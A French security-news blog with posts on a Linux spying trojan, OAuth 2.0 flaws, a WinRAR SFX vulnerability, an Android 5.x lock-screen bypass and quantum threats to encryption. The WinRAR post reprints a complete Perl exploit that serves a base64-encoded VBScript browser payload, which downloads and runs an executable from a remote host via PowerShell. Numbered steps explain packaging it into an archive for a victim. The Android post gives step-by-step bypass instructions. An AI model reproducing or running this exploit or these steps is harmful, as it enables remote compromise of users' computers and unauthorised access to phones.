vendredi 29 janvier 2016

Linux, un nouveau cheval de Troie détecté


Qui espionne les utilisateurs en effectuant régulièrement des captures d'écran du système?

  Dr Web, l’éditeur de solutions de sécurité informatique a découvert, depuis quelques jours, un nouveau cheval de Troie affectant la plateforme Linux. Il se nomme Linux.Ekoms.1 et a été conçu pour effectuer des captures d’écran toutes les trente secondes lorsqu’il accède à un équipement tournant avec Linux.

Pour y arriver, le malware va parcourir l’un des sous-dossiers du répertoire home du système infecté afin de s’assurer qu’il contient des fichiers avec un nom particulier. Ci-dessous les répertoires parcourus par le malware :

  • $HOME/$DATA/.mozilla/firefox/profiled
  • $HOME/$DATA/.dropbox/DropboxCache

Si les fichiers ne sont pas trouvés, le cheval de Troie choisit un dossier au hasard pour installer sa propre copie et lance cette nouvelle installation à partir du nouveau répertoire. Cette action est effectuée afin de s’assurer que l’application est fonctionnelle. Une fois cette garantie obtenue, Linux.Ekoms.1 se connecte au serveur distant et est prêt à envoyer les données collectées à des adresses codées en dur dans le corps du malware.

Pour collecter les données, le malware effectue des captures d’écran toutes les 30 secondes qu’il sauvegarde dans un dossier temporaire au format JPEG. Si la tentative de sauvegarde au format JPEG échoue, le cheval de Troie lance un autre processus en tentant de sauvegarder ces captures d’écran au format BMP.

Lorsque les sauvegardes sont effectuées avec succès, le malware configure un proxy et télécharge le dossier temporaire sur le serveur distant à intervalles réguliers. Nous rappelons, par ailleurs, que toutes les données transmises entre le cheval de Troie et le serveur de commande et contrôle (C&C) sont chiffrées. Le cheval de Troie en lui-même contient une clé RSA utilisée pour obtenir la clé de la session AES. Le chiffrement est initialement effectué en utilisant la clé publique et le déchiffrement est exécuté en appliquant la fonction RSA_public_decrypt aux données reçues.

En considérant ces fonctionnalités, il parait évident que l’objectif des auteurs de ce logiciel malveillant est d’espionner les activités des utilisateurs sur la plateforme Linux.

Dr Web souligne qu’en plus d’être capable d’effectuer des captures d’écran, « le code du cheval de Troie contient une fonctionnalité spéciale lui permettant d’enregistrer les sons et de les sauvegarder dans un fichier. aat au format WAV. Cependant, il apparaît que cette fonction n’est utilisée nulle part ».

Il faut noter, en outre, qu’aucune communication n’a été faite par Dr Web sur les failles exploitées par le cheval pour infecter le système d'exploitation Linux.

Source : Dr Web

vendredi 15 janvier 2016

Deux failles dans le protocole OAuth 2.0 découvertes, Qui peuvent conduire à des attaques de type MITM



Un groupe de chercheurs de l’université de Trier (en Allemagne) a effectué une analyse de sécurité de la norme OAuth 2.0. Ils ont découvert que deux types d’attaques auraient pu être utilisés pour briser les autorisations et authentifications dans OAuth.

En guise d’introduction dans le document décrivant leur recherche, ils ont rappelé que le protocole OAuth 2.0 permet aux utilisateurs d’accorder à des parties de confiance un accès aux ressources de fournisseurs d’identité. En plus d’être utilisé pour ce type d’autorisation, OAuth est également souvent utilisé pour l’authentification dans les systèmes SSO (single sign-on, système à authentification unique, une méthode permettant à un utilisateur d'accéder à plusieurs applications ou sites web sécurisés en ne procédant qu'à une seule authentification). Il faut noter qu’OAuth 2.0 est l’un des protocoles les plus utilisés dans ces desseins sur le web avec des entreprises comme Google (avec Google Account), Yahoo (avec YahooID), Facebook (avec Facebook Login) ou Microsoft (avec Live ID) qui jouent le rôle de fournisseurs d’identité et des millions de sites web qui se connectent à ces services jouent le rôle de parties de confiance.

Si OAuth 2.0 est au cœur de nombreuses implémentations à l’instar de celles qui sont citées en sus, l’étude note que la prochaine version du système SSO Open ID Connect va également se baser dessus. Pour rappel, OpenID est un système d’authentification décentralisé qui permet l’authentification unique, ainsi que le partage d’attributs. Il permet à un utilisateur de s’authentifier auprès de plusieurs sites (devant prendre en charge cette technologie) sans avoir à retenir un identifiant pour chacun d’eux, mais en utilisant à chaque fois un unique identifiant OpenID.

« Malgré la popularité d’OAuth, jusqu’à présent les efforts d’analyse ont été orientés pour trouver des bogues dans des implémentations spécifiques et se basaient sur des modèles formels qui faisaient abstraction de nombreuses fonctionnalités web ou ne fournissaient pas du tout un traitement formel », précisent les chercheurs, avant de relever deux vulnérabilités qui peuvent permettre d’exécuter deux attaques.

Les chercheurs ont expliqué que dans la première attaque (aussi connue sous le nom de HTTP 307 Temporary Redirect – redirection temporaire), les fournisseurs d’identité font suivre par inadvertance des identifiants (nom d’utilisateurs et mots de passe) aux parties de confiance ou à un attaquant.

« Cette attaque sévère est causée par une erreur logique dans le protocole OAuth 2.0 et est tributaire de la présence de parties de confiance malveillantes », ont-ils commenté. « Dans cette attaque, le pirate (qui se sert d’une partie de confiance malveillante) glane des informations sur les identifiants de l’utilisateur lorsque celui-ci se connecte à un fournisseur d’identité qui se sert du mauvais code d’état de redirection HTTP ».

Voici le scénario d’attaque qu’ils ont décrit : l'utilisateur se sert d’OAuth pour se connecter à une partie de confiance malveillante gérée par l'attaquant, et est redirigé vers le fournisseur d'identité où il est invité à entrer ses informations d'identification. Les identifiants sont envoyés au fournisseur d'identité via une requête POST, puis vérifiés et par la suite l'utilisateur est redirigé vers l’extrémité de la redirection de la partie utilisatrice. Si le fournisseur d'identité utilise le code d'état de redirection 307 HTTP, la partie de confiance malveillante (c’est-à-dire l'attaquant) recevra également une requête POST contenant toutes les données issues du formulaire précédent, ce qui inclut les informations d'identification de l'utilisateur.

Les chercheurs estiment que, pour résoudre ce problème, seuls les codes HTTP 303 devraient être autorisés dans OAuth étant donné que « la redirection 300 est définie sans ambiguïté pour ne pas utiliser le corps d’une requête HTTP POST ».

La seconde faille implique une attaque sur le site de la partie de confiance : « l’attaquant sème la confusion chez la partie de confiance concernant quel fournisseur d’identité l’utilisateur a choisi au début du processus de connexion/autorisation dans l’intention d’obtenir un code d’authentification ou un token d’accès qui pourrait être utilisé pour usurper l’identité de l’utilisateur ou accéder à ses données ».

Voici le scénario de l’attaque : « l’attaquant manipule la première demande de l’utilisateur de telle façon que la partie de confiance pense que l’utilisateur veut utiliser une identité gérée par un fournisseur d’identité de l’attaquant alors que l’utilisateur voudrait plutôt utiliser une identité gérée par un fournisseur d’identité légal. Par conséquent, la partie de confiance envoie le code d’autorisation ou le token d’accès (dépendant du mode de l’OAuth) délivré par le fournisseur d’identité légal à l’attaquant, qui peut par la suite utiliser ces valeurs pour se connecter à la partie de confiance sous l’identité de l’utilisateur (gérée par le fournisseur d’identité légal) ou accéder à ses ressources protégées ».

Pour pouvoir effectuer cette attaque, les pirates doivent être en mesure de manipuler les requêtes envoyées par les utilisateurs ainsi que les réponses, ce qui signifie qu’ils doivent avoir une présence sur le réseau (attaque Man-in-the-middle).

Les chercheurs ont expliqué que pour résoudre ce problème, OAuth devrait inclure l’identité du fournisseur d’identité dans la redirection d’une certaine façon. « Plus précisément, nous suggérons que les parties de confiance fournissent une extrémité de redirection unique pour chaque fournisseur d’identité. Ainsi, l’information redirigée par le fournisseur d’identité sera encodée dans la requête et la partie de confiance pourra détecter les anomalies ».

Avec ces problèmes résolus, les chercheurs ont estimé qu’OAuth 2.0 est suffisamment sécurisé pour fournir à la fois les autorisations et les authentifications, si elles sont implémentées correctement.

Ian Muscat, responsable de la communication produit chez Acunetix (spécialiste de la sécurité des applications web), a avancé que « lorsqu’il s’agit des processus d’authentification et d’autorisation au sein d’une application web, à moins d’avoir une compréhension profonde de la technologie ainsi qu’une raison spécifique, justifiable et soigneusement réfléchie, ne déployez pas votre propre système d’authentification. À la place, servez-vous d’une bibliothèque ou d’un Framework qui a été examiné par le public et a une communauté active qui traite la question de sécurité comme étant prioritaire ».

Pour Liviu Itoafa, chercheur en sécurité chez Kaspersky Lab, parlant de l’attaque qu’il est possible de lancer contre le site de la partie de confiance, il a avancé que « ce problème implique qu’il doit y avoir un souci du côté de la partie de confiance – par exemple elle pourrait ne pas se servir de HTTPS pour la requête initiale de l’utilisateur ».

samedi 17 octobre 2015

Une faille critique dans Winrar permet d'exécuter du code à distance sans élévation de privilège

Exposant ainsi plus de 500 millions d'utilisateurs
Un chercheur en sécurité du nom de Reza Espargham vient d’annoncer la découverte d’une faille critique dans le logiciel de compression Winrar SFX version 5.21. Cette vulnérabilité permet d’exécuter une attaque à distance afin de compromettre le système sur lequel l’application est installée.

En fait le problème se trouve dans la fonction « Texte et Icone » contenant la zone de texte « Texte à afficher dans la fenêtre SFX ». En insérant du code spécifique dans cette zone de texte, des attaquants sont capables de générer à distance une charge utile pour compromettre le système de la victime.

De manière pratique, l’attaquant va d’abord effectuer quelques petites modifications et exécuter le code Perl ci-dessous contenu dans un fichier poc.pl qu’il aura créé.

Code :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161
#!/usr/bin/perl
# Title : WinRaR SFX - Remote Code Execution
# Affected Versions: All Version
# Tested on Windows 7 / Server 2008
#
#
# Author      :   Mohammad Reza Espargham
# Linkedin    :   https://ir.linkedin.com/in/rezasp
# E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website     :   www.reza.es
# Twitter     :   https://twitter.com/rezesp
# FaceBook    :   https://www.facebook.com/reza.espargham
#
#
# MS14-064
#
#
# 1 . run perl code : perl poc.pl
# 2 . Right Click on any file and select "add to archive..."
# 3 . select "Create SFX archive"
# 4 . got to Advanced Menu and select "SFX options..."
# 5 . goto to "Text and icon" Menu
# 6 . copy this perl output (HTML) and past on "Text to display in SFX window"
# 7 . Click OK -- OK
# 8 . Your SFX file Created ;)
# 9 . just open sfx file
# 10 . Your Link Download/Execute on your target
# 11 . Finished ;)


#demo https://youtu.be/fo0l0oT4468

use strict;
use warnings;
use IO::Socket;
use MIME::Base64 qw( decode_base64 );
use Socket 'inet_ntoa';
use Sys::Hostname 'hostname';



print "    Mohammad Reza Espargham\n\n";
my $ip = inet_ntoa(scalar gethostbyname(hostname() || 'localhost'));




my $port = 80;

print "Winrar HTML Code\n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip . '"></head></html>'."\n\n" if($port==80);
print "Winrar HTML Code\n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip . ':' . $port . '"></head></html>'."\n\n" if($port!=80);

my $server = new IO::Socket::INET(  Proto => 'tcp',
LocalPort => $port,
Listen => SOMAXCONN,
ReuseAddr => 1)
or die "Unable to create server socket";

# Server loop
while(my $client = $server->accept())
{
    my $client_info;
    while(<$client>)
    {
        last if /^\r\n$/;
        $client_info .= $_;
    }
    incoming($client, $client_info);
}

sub incoming
{
    print "\n=== Incoming Request:\n";
    my $client = shift;
    print $client &buildResponse($client, shift);
    close($client);
}

sub buildResponse
{
    my $client = shift;
    my $client_info = shift;
    
    my $poc="CjxodG1sPgo8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVt
    dWxhdGVJRTgiID4KPGhlYWQ+CjwvaGVhZD4KPGJvZHk+CiAKPFNDUklQVCBMQU5HVUFHRT0iVkJT
    Y3JpcHQiPgoKZnVuY3Rpb24gcnVubXVtYWEoKSAKT24gRXJyb3IgUmVzdW1lIE5leHQKc2V0IHNo
    ZWxsPWNyZWF0ZW9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKQpjb21tYW5kPSJJbnZva2UtRXhw
    cmVzc2lvbiAkKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgn
    aHR0cDovL3RoZS5lYXJ0aC5saS9+c2d0YXRoYW0vcHV0dHkvbGF0ZXN0L3g4Ni9wdXR0eS5leGUn
    LCdsb2FkLmV4ZScpOyQoTmV3LU9iamVjdCAtY29tIFNoZWxsLkFwcGxpY2F0aW9uKS5TaGVsbEV4
    ZWN1dGUoJ2xvYWQuZXhlJyk7IgpzaGVsbC5TaGVsbEV4ZWN1dGUgInBvd2Vyc2hlbGwuZXhlIiwg
    Ii1Db21tYW5kICIgJiBjb21tYW5kLCAiIiwgInJ1bmFzIiwgMAplbmQgZnVuY3Rpb24KPC9zY3Jp
    cHQ+CiAKPFNDUklQVCBMQU5HVUFHRT0iVkJTY3JpcHQiPgogIApkaW0gICBhYSgpCmRpbSAgIGFi
    KCkKZGltICAgYTAKZGltICAgYTEKZGltICAgYTIKZGltICAgYTMKZGltICAgd2luOXgKZGltICAg
    aW50VmVyc2lvbgpkaW0gICBybmRhCmRpbSAgIGZ1bmNsYXNzCmRpbSAgIG15YXJyYXkKIApCZWdp
    bigpCiAKZnVuY3Rpb24gQmVnaW4oKQogIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgaW5mbz1OYXZp
    Z2F0b3IuVXNlckFnZW50CiAKICBpZihpbnN0cihpbmZvLCJXaW42NCIpPjApICAgdGhlbgogICAg
    IGV4aXQgICBmdW5jdGlvbgogIGVuZCBpZgogCiAgaWYgKGluc3RyKGluZm8sIk1TSUUiKT4wKSAg
    IHRoZW4gCiAgICAgICAgICAgICBpbnRWZXJzaW9uID0gQ0ludChNaWQoaW5mbywgSW5TdHIoaW5m
    bywgIk1TSUUiKSArIDUsIDIpKSAgIAogIGVsc2UKICAgICBleGl0ICAgZnVuY3Rpb24gIAogICAg
    ICAgICAgICAgIAogIGVuZCBpZgogCiAgd2luOXg9MAogCiAgQmVnaW5Jbml0KCkKICBJZiBDcmVh
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    bGNvZGUoKSAgICAgICAgICAgICAgICAgICAgCiAgICAgZWxzZSAgCiAgICAgICAgICBzZXRub3Rz
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    IHRlc3RhYSgpCmVuZCBzdWIKIApmdW5jdGlvbiBteWRhdGEoKQogICAgT24gRXJyb3IgUmVzdW1l
    IE5leHQKICAgICBpPXRlc3RhYQogICAgIGk9bnVsbAogICAgIHJlZGltICBQcmVzZXJ2ZSBhYShh
    MikgIAogICAKICAgICBhYigwKT0wCiAgICAgYWEoYTEpPWkKICAgICBhYigwKT02LjM2NTk4NzM3
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    YTApICAKZW5kIGZ1bmN0aW9uIAogCiAKZnVuY3Rpb24gc2V0bm90c2FmZW1vZGUoKQogICAgT24g
    RXJyb3IgUmVzdW1lIE5leHQKICAgIGk9bXlkYXRhKCkgIAogICAgaT1ydW0oaSs4KQogICAgaT1y
    dW0oaSsxNikKICAgIGo9cnVtKGkrJmgxMzQpICAKICAgIGZvciBrPTAgdG8gJmg2MCBzdGVwIDQK
    ICAgICAgICBqPXJ1bShpKyZoMTIwK2spCiAgICAgICAgaWYoaj0xNCkgdGhlbgogICAgICAgICAg
    ICAgIGo9MCAgICAgICAgICAKICAgICAgICAgICAgICByZWRpbSAgUHJlc2VydmUgYWEoYTIpICAg
    ICAgICAgICAgIAogICAgIGFhKGExKzIpKGkrJmgxMWMrayk9YWIoNCkKICAgICAgICAgICAgICBy
    ZWRpbSAgUHJlc2VydmUgYWEoYTApICAKIAogICAgIGo9MCAKICAgICAgICAgICAgICBqPXJ1bShp
    KyZoMTIwK2spICAgCiAgICAgICAgICAKICAgICAgICAgICAgICAgRXhpdCBmb3IKICAgICAgICAg
    ICBlbmQgaWYKIAogICAgbmV4dCAKICAgIGFiKDIpPTEuNjk3NTk2NjMzMTY3NDdFLTMxMwogICAg
    cnVubXVtYWEoKSAKZW5kIGZ1bmN0aW9uCiAKZnVuY3Rpb24gT3ZlcigpCiAgICBPbiBFcnJvciBS
    ZXN1bWUgTmV4dAogICAgZGltIHR5cGUxLHR5cGUyLHR5cGUzCiAgICBPdmVyPUZhbHNlCiAgICBh
    MD1hMCthMwogICAgYTE9YTArMgogICAgYTI9YTArJmg4MDAwMDAwCiAgIAogICAgcmVkaW0gIFBy
    ZXNlcnZlIGFhKGEwKSAKICAgIHJlZGltICAgYWIoYTApICAgICAKICAgCiAgICByZWRpbSAgUHJl
    c2VydmUgYWEoYTIpCiAgIAogICAgdHlwZTE9MQogICAgYWIoMCk9MS4xMjM0NTY3ODkwMTIzNDU2
    Nzg5MDEyMzQ1Njc4OTAKICAgIGFhKGEwKT0xMAogICAgICAgICAgIAogICAgSWYoSXNPYmplY3Qo
    YWEoYTEtMSkpID0gRmFsc2UpIFRoZW4KICAgICAgIGlmKGludFZlcnNpb248NCkgdGhlbgogICAg
    ICAgICAgIG1lbT1jaW50KGEwKzEpKjE2ICAgICAgICAgICAgIAogICAgICAgICAgIGo9dmFydHlw
    ZShhYShhMS0xKSkKICAgICAgICAgICBpZigoaj1tZW0rNCkgb3IgKGoqOD1tZW0rOCkpIHRoZW4K
    ICAgICAgICAgICAgICBpZih2YXJ0eXBlKGFhKGExLTEpKTw+MCkgIFRoZW4gICAgCiAgICAgICAg
    ICAgICAgICAgSWYoSXNPYmplY3QoYWEoYTEpKSA9IEZhbHNlICkgVGhlbiAgICAgICAgICAgICAK
    ICAgICAgICAgICAgICAgICAgIHR5cGUxPVZhclR5cGUoYWEoYTEpKQogICAgICAgICAgICAgICAg
    IGVuZCBpZiAgICAgICAgICAgICAgIAogICAgICAgICAgICAgIGVuZCBpZgogICAgICAgICAgIGVs
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    IGZ1bmN0aW9uCiAKICAgICAgICAgICBlbmQgaWYgCiAgICAgICAgZWxzZQogICAgICAgICAgIGlm
    KHZhcnR5cGUoYWEoYTEtMSkpPD4wKSAgVGhlbiAgICAKICAgICAgICAgICAgICBJZihJc09iamVj
    dChhYShhMSkpID0gRmFsc2UgKSBUaGVuCiAgICAgICAgICAgICAgICAgIHR5cGUxPVZhclR5cGUo
    YWEoYTEpKQogICAgICAgICAgICAgIGVuZCBpZiAgICAgICAgICAgICAgIAogICAgICAgICAgICBl
    bmQgaWYKICAgICAgICBlbmQgaWYKICAgIGVuZCBpZgogICAgICAgICAgICAgICAKICAgICAKICAg
    IElmKHR5cGUxPSZoMmY2NikgVGhlbiAgICAgICAgIAogICAgICAgICAgT3Zlcj1UcnVlICAgICAg
    CiAgICBFbmQgSWYgIAogICAgSWYodHlwZTE9JmhCOUFEKSBUaGVuCiAgICAgICAgICBPdmVyPVRy
    dWUKICAgICAgICAgIHdpbjl4PTEKICAgIEVuZCBJZiAgCiAKICAgIHJlZGltICBQcmVzZXJ2ZSBh
    YShhMCkgICAgICAgICAgCiAgICAgICAgIAplbmQgZnVuY3Rpb24KIApmdW5jdGlvbiBydW0oYWRk
    KSAKICAgIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgICByZWRpbSAgUHJlc2VydmUgYWEoYTIpICAK
    ICAgCiAgICBhYigwKT0wICAgCiAgICBhYShhMSk9YWRkKzQgICAgIAogICAgYWIoMCk9MS42OTc1
    OTY2MzMxNjc0N0UtMzEzICAgICAgIAogICAgcnVtPWxlbmIoYWEoYTEpKSAgCiAgICAKICAgIGFi
    KDApPTAKICAgIHJlZGltICBQcmVzZXJ2ZSBhYShhMCkKZW5kIGZ1bmN0aW9uCiAKPC9zY3JpcHQ+
    CiAKPC9ib2R5Pgo8L2h0bWw+";
    $poc = decode_base64($poc);
    
    my $r = "HTTP/1.0 200 OK\r\nContent-type: text/html\r\n\r\n
    $poc";
    return $r;
}
Ensuite, il va créer une archive SFX avec la dernière version de Winrar. Pour arriver à ses fins, il va suivre les étapes normales de la création d’une archive et sélectionner « créer une archive SFX », puis dans le Menu avancé, il va sélectionner « Options SFX ».

Dans le menu « Texte et icône » affiché se trouve une zone de texte avec comme étiquette « Texte à afficher dans la Fenêtre SFX ». Dans cette zone de texte, il va copier et coller le code HTML généré à partir du code Perl. Enfin, il fera OK, OK pour valider les différentes étapes. C’est cette archive SFX qui sera envoyée à la victime afin de compromettre son système. Nous rappelons qu'une archive SFX est une archive Windows auto-extractible.

Pour ceux qui le souhaitent, ils peuvent également consulter la vidéo ci-dessous afin de suivre visuellement la preuve de concept.
Lorsqu’un utilisateur ouvrira l’archive infectée, la charge utile du fichier infecté va exposer le système de l’utilisateur. Il faut souligner que cette attaque ne nécessite pas d’élévation de privilège. Il suffit pour la victime d’ouvrir le fichier et le tour est joué. Pieter Arntz, MVP Microsoft, a testé avec succès cette procédure. Bien entendu, il a d'abord effectué quelques petites modifications du code ci-dessus afin d'aboutir au même résultat que l'auteur de la découverte.

Il faut rappeler également que Winrar est utilisé par plus de 500 millions d’utilisateurs à travers le monde. Cette version affecte donc l’ensemble de ses utilisateurs qui se trouvent principalement sur la plateforme Windows. Prière à chaque personne de ne pas ouvrir les archives SFX provenant de personnes inconnues dans la mesure où aucun correctif n’a encore été publié.

Source : Seclists

lundi 28 septembre 2015

Pirater un téléphone Androïde est devenu facile

Une faille permet de déverrouiller l'écran des téléphones Androïde 5.x en saisissant un très long mot de passe

 

Il est notoire que la plateforme mobile étant la plus ciblée par les pirates ou celle comprenant le plus de failles répertoriées est le système d’exploitation Android. En général, les failles découvertes sur ce système nécessitent l’installation de programmes tiers ou l’exécution de code.

Mais cette fois, la vulnérabilité découverte ne nécessite aucune exécution de code malveillant ou de programme malicieux. Si vous êtes possesseur d’un smartphone tournant avec Android 5.x, faites attention à ne pas laisser votre téléphone à la portée de tout le monde même s’il est verrouillé.

En effet, un chercheur en sécurité informatique du nom de John Gordon est parvenu à déverrouiller un téléphone Nexus tournant sous Android en tapant un mot de passe hyper long alors que l’appareil photo était actif.

Pour y arriver, il a ouvert la fenêtre d’appel d’urgence et a saisi environ une dizaine de caractères. Il a ensuite copié et collé les mêmes caractères dans le même champ. Il a à nouveau sélectionné les caractères collés et a répété la même action de copier – coller dans le champ d’appel d’urgence. Il a effectué cette même action de sélection, copier – coller jusqu’à ce que les caractères collés soient tellement longs que l’action de sélection ne réponde plus.

Après cette étape, John est revenu sur l’écran verrouillé et a ouvert l’appareil photo en glissant le doigt vers la gauche. À partir de là, il a ouvert la fenêtre des mots de passe dans les paramètres en glissant le doigt à partir du haut.

Lorsque le champ du pot de passe pour déverrouiller l’écran est apparu, il a fait un appui long et a collé les caractères précédemment copiés dans le champ d’appel d’urgence. Comme la première fois, il a répété l’action de sélection – copier – coller jusqu’à ce que l’interface se plante et les boutons au bas de l’écran disparaissent. Puis il a ouvert l’appareil photo en mode plein écran.

Après quelques minutes d’attente, l’appareil photo a commencé à montrer des signes de ralentissement et des difficultés à garder le focus sur un objet. Encore quelques minutes d’attente, le système a basculé sur l’écran d’accueil. Dans d’autres cas, note Gordon, le crash de l’appareil photo ne donne accès qu’à des fonctionnalités limitées du système.

Cette méthode n’affecte que les versions 5.0 et 5.1 d’Android. Dans la version 4.4, il est possible de faire planter le système de la même manière, mais l’écran d’accueil est inaccessible. Pour utiliser le téléphone, il faut redémarrer l’appareil. De même seul le mode de déverrouillage avec code PIN est concerné.

Cette faille ne fonctionne pas si vous utilisez le mode de déverrouillage par glissement. Il faut également préciser que même si le test a été effectué sur un téléphone Nexus, cette faille affecte tous les téléphones des autres constructeurs tournant avec Android 5.x si bien entendu ils n'ont pas été personnalisés.

La vulnérabilité a été signalée à Google depuis le mois d’août. La firme l’a classée sous la référence CVE-2015-3860 en tant que vulnérabilité de sévérité modérée. Un patch est disponible depuis la semaine dernière afin de la corriger.

Source : Utexas.edu
 

mardi 8 septembre 2015



Les Ordinateurs Quantiques bientôt



pourquoi en parle t-on? 

Annoncés dans les 50 prochaines années, les ordinateurs quantiques sont susceptibles de révolutionner l’industrie de la technologie. Ces ordinateurs extrêmement puissants qui exploitent les lois de la mécanique quantique pour traiter l’information seront capables d’effectuer des calculs avec une rapidité sans précédent.




mais quels différences avec ceux d'aujourd'hui?


Contrairement aux ordinateurs actuels qui utilisent les bits (0 ou 1) pour traiter l’information, un ordinateur quantique utilise des bits quantiques aussi appelés qubits. Le qubit permet la superposition de deux états de base. En d’autres termes, un système quantique peut avoir une valeur de 0, 1, ou les deux en même temps. Il a donc l’avantage de gérer plus d'informations que les ordinateurs classiques. Il permet surtout de résoudre des problèmes mathématiques complexes plus rapidement, comme les problèmes chiffrements. D’ailleurs, les scientifiques estiment qu’un ordinateur quantique pourrait mettre moins d’un jour pour résoudre un problème pour lequel un ordinateur classique mettrait des années.


quel est son impact?

Toutefois, comme toute nouvelle technologie ou révolution technologique, il y a le revers de la médaille qui est parfois négligé jusqu’à ce qu’on se trouve devant le fait accompli. Si l’informatique quantique permet de résoudre plus vite des problèmes mathématiques complexes, cela est également valable lorsqu’il s’agit de casser des méthodes de chiffrement.

quels menaces?

Les ordinateurs quantiques constituent en fait une menace pour les chiffrements à clé publique, qui sont utilisés pour protéger bon nombre de choses, en allant des emails ou opérations de paiement en ligne. Ils permettront de résoudre plus facilement les problèmes mathématiques essentiels pour les systèmes de chiffrement à clé publique. Il est donc nécessaire de réfléchir à de nouvelles méthodes de chiffrement avant que l’arrivée des ordinateurs quantiques ne commence à exposer les données des organisations.

pourquoi s’inquiéter?

En avril dernier, des travaux d'IBM ont permis de faire un bond en avant dans le développement des ordinateurs quantiques, ce qui pourrait signifier que nous sommes plus proches que nous le croyons de la menace de l’informatique quantique. La NSA a donc entamé une communication et une planification pour une nouvelle suite d’algorithmes de chiffrement « quantiques résistants », c’est-à-dire plus difficiles à casser par les ordinateurs quantiques.


quel solution?

La NSA suggère donc aux entreprises et organismes gouvernementaux qui n’ont pas encore fait la transition vers les algorithmes de chiffrement de la suite B de se concentrer plutôt sur les algorithmes quantiques résistants. Pour ceux qui ont déjà adopté la suite B, elle précise également qu’il ne s’agit pas d’abandonner ces méthodes de chiffrement. Mais la triste réalité est qu’avec l’avancement des recherches sur les ordinateurs quantiques, les algorithmes de chiffrement actuels ne sont plus des solutions efficaces à long terme, comme beaucoup l’espéraient.

Source : Site officiel de la NSA